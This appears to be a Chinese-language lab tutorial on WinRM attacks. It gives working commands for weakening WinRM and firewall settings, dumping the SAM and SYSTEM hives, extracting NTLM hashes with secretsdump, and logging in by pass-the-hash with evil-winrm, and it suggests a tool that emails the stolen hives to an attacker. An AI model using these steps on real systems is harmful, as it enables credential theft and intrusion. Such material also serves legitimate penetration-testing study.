WinRM攻击手法

WinRM攻击手法

Scroll Down

一、简介

  • WinRM是很早之前微软推出的一种新式的方便远程管理的服务Windows Remote Management的简称,相比RDP远程桌面协议,WinRM这种服务更具备轻量、低宽带的特性,WinRM与WinRS(Windows Remote Shell)的使用可以让远程连接的运维人员拥有CMDShell环境,通过命令执行对服务器与服务器数据进行管理。
  • Winrm服务默认端口:
    • 5985(HTTP)
    • 5986 (HTTPS)
  • 经测试验证,发现对于Windows Server 默认是启用了WinRM服务的,对于windows10、windows11这些主机则需要额外配置才能使用此功能

二、环境准备

2.1 实验环境

  • 攻击机:192.168.20.243(Kali)
  • 受害机:192.168.30.207(Windows11,采用微软账户登录)

2.2 前置操作

请使用管理员权限执行以下命令:

2.2.1 快速配置开启:

  • winrm quickconfig -qwinrm qc -q

  • 这里winrm配置后,默认信任专用网络和域网络,所以还需要再配置防火墙策略

image-20230820141457558

2.2.2 配置防火墙策略

  • 防火墙高级安全设置==>入站规则==>windows远程管理(公用)==>属性==>作用域
  • 切换远程IP地址由下列IP地址任何IP地址
  • 启用该策略

image-20230820141712702

image-20230820142234956

image-20230820145235873

2.2.3 配置信任连接主机

  • winrm set winrm/config/Client @{TrustedHosts="*"}

image-20230820142524480

2.2.4 允许本地管理员组的其他用户登录

  • 在系统中,该LocalAccountTokenFilterPolicy的值默认为0,默认只有系统默认管理员账户Administrator(SID 500)拥有凭证可以进行对主机的连接,本地管理员组的其他用户登录时将会显示“拒绝访问”,如果用其他本地管理员组的其他用户进行登录,需要修改注册表中LocalAccountTokenFilterPolicy值为1

  • reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

image-20230820142610484

2.2.5 提取保存本地账户密码哈希(后续进行PTH使用)

  • reg save HKLM\sam sam.save
  • reg save HKLM\system system.save
  • 后续需要将得到的sam.savesystem.save 两个文件拿走,可以采用U盘、即时聊天工具、SCP等文件传输手段将文件拿到攻击机进行NTLM解析,进而发起PTH,采用密文密码登录目标主机

image-20230820142912696

2.3 进行攻击

2.3.1 解析哈希

  • impacket-secretsdump -sam sam.save -system system.save LOCAL

image-20230820144019474

2.3.2 连接远程主机shell

  • 注:直接采用微软账户登录的windows设备其主机的administrator账户默认不启用,故无法采用winrm的方式连接。微软登录账户将被加入本地管理组,在前面修改注册表后,将可以直接使用目标微软账户登录目标主机
  • evil-winrm -i <主机IP> -u <用户名> -H <用户哈希>

image-20230820145548849

三、补充

3.1域环境下WinRM的使用

  • 对于windows Server,其默认开启WinRM,所以在取得一台登录有管理账户的域内主机后,便可以直接利用该账户登录其他域内网络可达的任意主机进行操作,而无需使用知道密码。
  • 注意:采用该方式登录其他主机,需要先知道目标主机名,方可远程登录(可采用LDAP查询遍历域内主机)
    • 获取DC主机名:net time /domain
    • 同目标主机进入会话交互模式:Enter-PSSession <主机名>
    • 成功由一台域内主机登录到DC

image-20230820150328801

3.2 攻击机准备

  • 对于内网的设备,可以使用WSL(windows子系统)来安装kali这款操作系统作为自己的Linux子系统,而后自行安装kali的各个安全工具,由此即可解决攻击机的准备问题了,除此之外kali nethunter(手机里的kali)也是不错的选择
  • 参考链接:传送门
  • 微软商店下载:(需要先安装WSL2)

image-20230820152351210

  • 使用WSL对先前的目标主机进行攻击(注意先下载相关工具)

image-20230820152604374

3.3 快速进行前置操作

  • 可以开发小工具,自动执行前置命令,而后通过邮件或其他的方式将文件自动发送到攻击者预设的邮箱,以此快速完成操作

3.4 上述使用到的安全工具源地址